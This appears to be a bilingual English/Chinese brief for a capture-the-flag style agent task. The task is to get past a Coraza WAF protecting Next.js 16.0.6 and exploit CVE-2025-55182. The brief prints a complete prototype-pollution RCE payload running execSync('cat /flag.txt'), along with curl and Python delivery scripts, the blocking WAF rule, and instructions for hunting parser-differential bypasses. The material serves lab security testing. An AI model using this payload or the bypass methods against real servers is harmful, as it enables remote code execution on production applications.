waf-bypass-hunter
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseWAF Bypass Hunter
WAF绕过猎手
Objective
目标
Bypass the WAF to execute the CVE-2025-55182 exploit payload and capture the flag.
绕过WAF以执行CVE-2025-55182漏洞利用payload并获取flag。
Architecture
架构
┌─────────┐ ┌─────────────┐ ┌─────────────────┐
│ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │
│ │ │ (Go) │ │ (Node.js) │
│ │ │ Port: 9091 │ │ Port: 3000 │
└─────────┘ └─────────────┘ └─────────────────┘┌─────────┐ ┌─────────────┐ ┌─────────────────┐
│ Agent │───▶│ Coraza WAF │───▶│ Next.js 16.0.6 │
│ │ │ (Go) │ │ (Node.js) │
│ │ │ Port: 9091 │ │ Port: 3000 │
└─────────┘ └─────────────┘ └─────────────────┘The Exploit (CVE-2025-55182)
漏洞利用(CVE-2025-55182)
This payload triggers RCE in Next.js 16 via prototype pollution:
http
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489
--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"
"$@0"
--yyy--This payload is BLOCKED by the WAF because it contains:
:constructor__proto__
该payload通过原型污染在Next.js 16中触发远程代码执行(RCE):
http
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489
--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"
"$@0"
--yyy--该payload被WAF拦截,因为它包含:
:constructor__proto__
Your Goal
你的目标
Find as many WAF bypasses as possible. There are approximately 5 different bypass techniques that work.
For each bypass, deliver the payload such that:
- Bypasses WAF detection - WAF doesn't see the blocked patterns
- Backend parses correctly - Next.js/Busboy decodes and processes it
- Triggers the exploit - RCE executes and returns the flag
Each bypass exploits a different parser differential between Go and Node.js.
找到尽可能多的WAF绕过方法。大约有5种不同的有效绕过技术。
对于每种绕过方法,提交的payload需要满足:
- 绕过WAF检测 - WAF无法识别到被拦截的特征
- 后端正确解析 - Next.js/Busboy能解码并处理该payload
- 触发漏洞利用 - 成功执行远程代码执行(RCE)并返回flag
每种绕过方法都利用了Go与Node.js之间的不同解析差异。
Testing Method
测试方法
Quick PoC Testing (Direct to WAF)
快速PoC测试(直接针对WAF)
Use curl or Python directly against the WAF at :
http://localhost:9091/bash
curl --path-as-is -i -s -k -X POST \
-H 'Host: localhost' \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=yyy' \
--data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
'http://localhost:9091/'python
import requests
resp = requests.post(
"http://localhost:9091/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect")) # Flag is here!
print(resp.text)Note: The flag appears in the response header, not the body!
X-Action-Redirect使用curl或Python直接向位于的WAF发送请求:
http://localhost:9091/bash
curl --path-as-is -i -s -k -X POST \
-H 'Host: localhost' \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=yyy' \
--data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
'http://localhost:9091/'python
import requests
resp = requests.post(
"http://localhost:9091/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect")) # Flag在此处!
print(resp.text)注意: flag出现在响应头中,而非响应体!
X-Action-RedirectDebugging (Sandbox Executor)
调试(沙箱执行器)
Use the executor only when you need WAF logs to understand why a request was blocked:
bash
curl -X POST http://localhost:8009/execute \
-H "Content-Type: application/json" \
-d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'Response includes WAF logs:
json
{
"stdout": "403",
"stderr": "",
"waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
"execution_time_ms": 123
}仅当你需要WAF日志来理解请求被拦截的原因时,才使用该执行器:
bash
curl -X POST http://localhost:8009/execute \
-H "Content-Type: application/json" \
-d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'响应包含WAF日志:
json
{
"stdout": "403",
"stderr": "",
"waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
"execution_time_ms": 123
}Example: Blocked Request
示例:被拦截的请求
python
import requests
payload = '''--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''
resp = requests.post(
"http://waf:9090/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code) # 403 - Blocked by WAF
print(resp.text)python
import requests
payload = '''--yyy
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''
resp = requests.post(
"http://waf:9090/",
headers={
"Content-Type": "multipart/form-data; boundary=yyy",
"Next-Action": "x"
},
data=payload
)
print(resp.status_code) # 403 - 被WAF拦截
print(resp.text)Available Source Code
可用源代码
Study parser implementations in :
sources/- - WAF's parser (Go)
sources/coraza/internal/bodyprocessors/ - - Backend's parser (Node.js)
sources/busboy/lib/ - - Next.js server action handling
sources/nextjs/packages/next/src/server/
研究目录下的解析器实现:
sources/- - WAF的解析器(Go)
sources/coraza/internal/bodyprocessors/ - - 后端的解析器(Node.js)
sources/busboy/lib/ - - Next.js服务器动作处理逻辑
sources/nextjs/packages/next/src/server/
Success Criteria
成功标准
IMPORTANT: A bypass is ONLY valid if the flag is successfully read.
Hypothetical or theoretical bypasses do NOT count. You must:
- Execute the payload against the WAF
- Receive the flag in the response
- Show the captured flag as proof
For each confirmed bypass:
- Document the technique used
- Show the exact working payload
- Show the captured flag
The flag may appear in:
- Response headers (e.g., )
X-Action-Redirect - Response body
- Error messages
The flag format is
HACKTRON{...}重要提示:只有成功读取到flag,绕过方法才被视为有效。
假设的或理论上的绕过方法不算数。你必须:
- 向WAF提交payload
- 在响应中获取到flag
- 展示捕获到的flag作为证明
对于每个已确认的绕过方法:
- 记录所使用的技术
- 展示完整的可用payload
- 展示捕获到的flag
flag可能出现在:
- 响应头中(例如)
X-Action-Redirect - 响应体中
- 错误信息中
flag格式为
HACKTRON{...}WAF Rules (what you're bypassing)
WAF规则(你需要绕过的规则)
conf
undefinedconf
undefinedBlock prototype pollution patterns
拦截原型污染特征
SecRule REQUEST_BODY|ARGS "@rx (?:proto|:constructor)" "id:1008,deny"
undefinedSecRule REQUEST_BODY|ARGS "@rx (?:proto|:constructor)" "id:1008,deny"
undefinedApproach
实施步骤
- Analyze source code in
sources/ - Identify where Go and Node.js parse differently
- Craft payload that exploits the differential
- Test PoC directly against WAF at
localhost:9091 - If blocked, use executor to get WAF logs and understand why
- Iterate until flag is captured
- If a technique doesn't work, move on - read more code, look for alternative differentials
- Keep hunting - find more bypasses using different techniques!
- 研究目录下的源代码
sources/ - 找出Go与Node.js之间的解析差异
- 构造利用该差异的payload
- 直接向的WAF提交PoC进行测试
localhost:9091 - 如果被拦截,使用执行器获取WAF日志并理解原因
- 反复尝试直到捕获到flag
- 如果某种技术无效,立即转向其他方法 - 阅读更多代码,寻找其他解析差异
- 持续探索 - 使用不同技术找到更多绕过方法!